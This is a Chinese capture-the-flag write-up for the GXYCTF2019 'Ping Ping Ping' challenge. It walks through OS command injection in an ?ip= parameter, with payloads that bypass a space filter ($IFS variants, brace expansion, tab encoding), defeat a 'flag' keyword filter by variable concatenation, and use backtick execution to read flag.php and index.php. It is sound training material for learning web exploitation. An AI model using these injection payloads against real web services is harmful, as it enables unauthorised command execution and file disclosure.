• [GXYCTF2019]Ping Ping Ping


    开启环境之后可以看到

    加上题目是ping ping ping 

    所以可以猜测是需要我们命令执行读取flag

    加上?ip=127.0.0.1

    http://3d59e365-7e67-4e43-b2f5-dec887255281.node3.buuoj.cn/?ip=127.0.0.1

     可以看到页面成功返回,我们尝试使用管道符执行我们想要执行的命令

    ?ip=127.0.0.1 | ls

    这个时候页面返回错误

     怀疑是空格的原因,去掉空格,改为

    ?ip=127.0.0.1|ls

    可以看到成功执行ls

     目录下存在flag.php和index.php文件,尝试cat flag文件

    考虑到之前的空格会被检测,我们绕过空格

    绕过空格的思路一般有:

      $IFS

      ${IFS}

      $IFS$1 //$1改成$加其他数字貌似都行

      <

      <>

      {cat,flag.php} //用逗号实现了空格功能

      %20

      %09

    我们这里使用$IFS,即构造?ip=127.0.0.1|cat$IFSflag.php

    不过页面显示的错误信息改变:

    猜测是因为检测了flag,所以我们尝试先读取index.php

    ?ip=127.0.0.1|cat$IFSindex.php,还是没有显示结果,依次尝试:?ip=127.0.0.1|cat$IFS$1flag.php成功

     可以看到对我们的输入进行了过滤,在flag贪婪匹配里面我们不将flag连着写,就不会匹配到,同时可以看到有$a变量,尝试覆盖它

    变量拼接

    ?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

    查看源代码里面就有flag

    另外我们可以尝试使用反引号内联执行的做法,linux下反引号``里面包含的就是需要执行的系统命令

    而反引号里面的系统命令会先执行,成功执行后将结果传递给调用它的命令

    ?ip=127.0.0.1;cat$IFS`ls`

    查看源代码可以看到index.php和flag.php的内容都显示了出来

    参考链接:

    https://chen.oinsm.com/2020/01/10/GXYCTF-2019-%E5%A4%8D%E7%8E%B0/

    https://www.jianshu.com/p/fd7f9fcc9333

    https://www.cnblogs.com/wangtanzhi/p/12246386.html#autoid-0-0-0

  • 相关阅读:
    pandas 查看行列数
    git提交代码至GitHub
    编码错误
    Pandas中根据列的值选取多行数据
    pandas过滤缺失数据之dropna()
    kail linux安装
    mybatis_plus插件使用
    Vue 插槽和自定义事件
    Vue计算属性
    使用axios 异步显示数据到页面
  • 原文地址:https://www.cnblogs.com/Cl0ud/p/12313368.html
Copyright © 2020-2023  润新知